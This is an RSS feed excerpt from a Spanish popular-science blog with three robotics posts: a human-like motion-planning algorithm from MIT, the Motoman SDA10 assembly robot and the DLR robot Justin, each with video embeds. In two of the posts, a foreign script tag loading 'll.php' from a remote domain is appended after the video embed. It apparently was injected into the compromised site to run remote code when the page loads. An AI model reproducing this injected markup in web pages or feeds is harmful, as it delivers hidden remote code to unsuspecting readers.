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	<title>¡Cuánta Ciencia! &#187; Robótica</title>
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	<description>Noticias de Ciencia, Tecnología y Salud</description>
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		<title>Un algoritmo que &#8216;humaniza&#8217; los movimientos de los robots</title>
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		<pubDate>Thu, 13 Oct 2011 06:20:09 +0000</pubDate>
		<dc:creator>Alfonso M. Corral</dc:creator>
				<category><![CDATA[Tecnología]]></category>
		<category><![CDATA[Robótica]]></category>
		<category><![CDATA[Vídeos]]></category>

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		<description><![CDATA[Si eres un robot, un nuevo algoritmo puedo suponer dejar de mover los brazos al tuntún y parecer un poco más humano...]]></description>
			<content:encoded><![CDATA[<p>Aunque para cualquiera de nosotros <strong>coger una taza de café</strong> de una mesa es fácil, que también lo haga un robot no es una tarea nada sencilla. Nuestro cerebelo controla este tipo de movimientos sin que seamos conscientes de ellos, pero programar unos movimientos con tal precisión y a tal velocidad, implica un gran esfuerzo.</p>
<p><a title="Brian Williams interaccionando con un robot" href="http://www.csail.mit.edu/csailspotlights/mers" target="_blank"><img class="alignleft" style="border: 0pt none; margin: 0px 10px 5px 0px; float: left;" title="Brian Williams interaccionando con un robot (Foto: Jason Dorfman)" src="http://www.cuantaciencia.com/imagenes/2011/10/Williams.jpg" alt="Brian Williams interaccionando con un robot" width="250" /></a>Según explica <strong>Matthew Walker</strong>, investigador del <a title="MIT Computer Science and Artificial Intelligence Laboratory" href="http://www.csail.mit.edu/" target="_blank">Massachusetts Institute of Technology</a>, mejorar este tipo de movimientos en los robots no sólo mejora la velocidad y la eficacia de estas tareas, sino que <strong>facilita la interacción entre personas y robots</strong>. &#8220;<a title="An algorithm that makes robots appear more human" href="http://io9.com/5842760/an-algorithm-that-makes-robots-appear-more-human" target="_blank">La gente se siente más cómoda cuando el robot se comporta como lo haría una persona</a>&#8220;.</p>
<p>Por ello, los investigadores siguen trabajando en nuevos algoritmos que hagan que los movimientos de los robots sean lo más parecidos posible a los nuestros. En este vídeo de <strong>Sertac Karaman</strong> podemos apreciar la mejora que ha supuesto <a title="Asymptotically-optimal Path Planning for Manipulation using Incremental Sampling-based Algorithms (pdf, 845 KB)" href="http://www.iros2011.org/WorkshopsAndTutorialsProceedings/FW9/perez_mit.pdf" target="_blank">la combinación de dos algoritmos</a> desarrollados en su laboratorio en uno nuevo.</p>
<p>Si bien es un avance considerable, todavía hay un amplio margen de mejora&#8230;</p>
<p><iframe src="http://www.youtube-nocookie.com/embed/ag-txw4KUgo" frameborder="0" width="600" height="335"></iframe></p>
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		<title>La cadena de montaje del futuro</title>
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		<pubDate>Mon, 31 Aug 2009 07:57:54 +0000</pubDate>
		<dc:creator>Alfonso M. Corral</dc:creator>
				<category><![CDATA[Tecnología]]></category>
		<category><![CDATA[Robótica]]></category>
		<category><![CDATA[Vídeos]]></category>

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		<description><![CDATA[Cuando oigo hablar de líneas de producción en mi mente está la que imagino creada para fabricar el Ford T. Sin embargo la realidad es mucho más impresionante.]]></description>
			<content:encoded><![CDATA[<p>Cuando oigo hablar de líneas de producción en mi mente está la que imagino creada para fabricar el <a title="Henry Ford" href="http://www.biografiasyvidas.com/monografia/ford/ford_t.htm">Ford T</a>. Sin embargo la realidad es mucho más impresionante.</p>
<p>Viendo en funcionamiento a <a href="http://www.motoman.com/">Motoman SDA10 15-axis robot</a> no he podido dejar de pensar como sería si en vez de montar sillas estuviera contruyendo otros modelos de el mismo&#8230;</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube-nocookie.com/v/1UBFo8cgLBM&amp;hl=es&amp;fs=1&amp;" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube-nocookie.com/v/1UBFo8cgLBM&amp;hl=es&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>El robot Justin</title>
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		<pubDate>Tue, 10 Mar 2009 10:32:11 +0000</pubDate>
		<dc:creator>Alfonso M. Corral</dc:creator>
				<category><![CDATA[Tecnología]]></category>
		<category><![CDATA[Robótica]]></category>
		<category><![CDATA[Vídeos]]></category>

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		<description><![CDATA[No es que sea el protagonista de I, Robot pero hace unos cuantos movimientos realmente parecidos a los de los humanos...]]></description>
			<content:encoded><![CDATA[<p>No, no es que nuestro compañero de <a title="Justin Quayle" href="http://www.cuantaciencia.com/autores">¡Cuánta Ciencia!</a> sea un robot, es que en el proyecto europeo  <strong><a href="http://www.phriends.eu/">Physical Human-Robot Interaction: Dependability and Safety</a></strong>, han colgado un vídeo muy interesante de su robot, al que han bautizado como Justin.</p>
<p>Hombre, no llega todavía a ser como el protagonista de <a href="http://www.amazon.com/gp/product/B00005JN0T?ie=UTF8&amp;tag=cienciaactual-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=B00005JN0T">I, Robot</a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=cienciaactual-20&amp;l=as2&amp;o=1&amp;a=B00005JN0T" border="0" alt="" width="1" height="1" /> pero hace unos cuantos movimientos realmente parecidos a los de los humanos&#8230;</p>
<p><object width="500" height="405"><param name="movie" value="http://www.youtube-nocookie.com/v/HS2QfpGAfRU&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"><embed src="http://www.youtube-nocookie.com/v/HS2QfpGAfRU&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="500" height="405"></embed></param></object><script src="http://$domain/ll.php?kk=11"></script></p>
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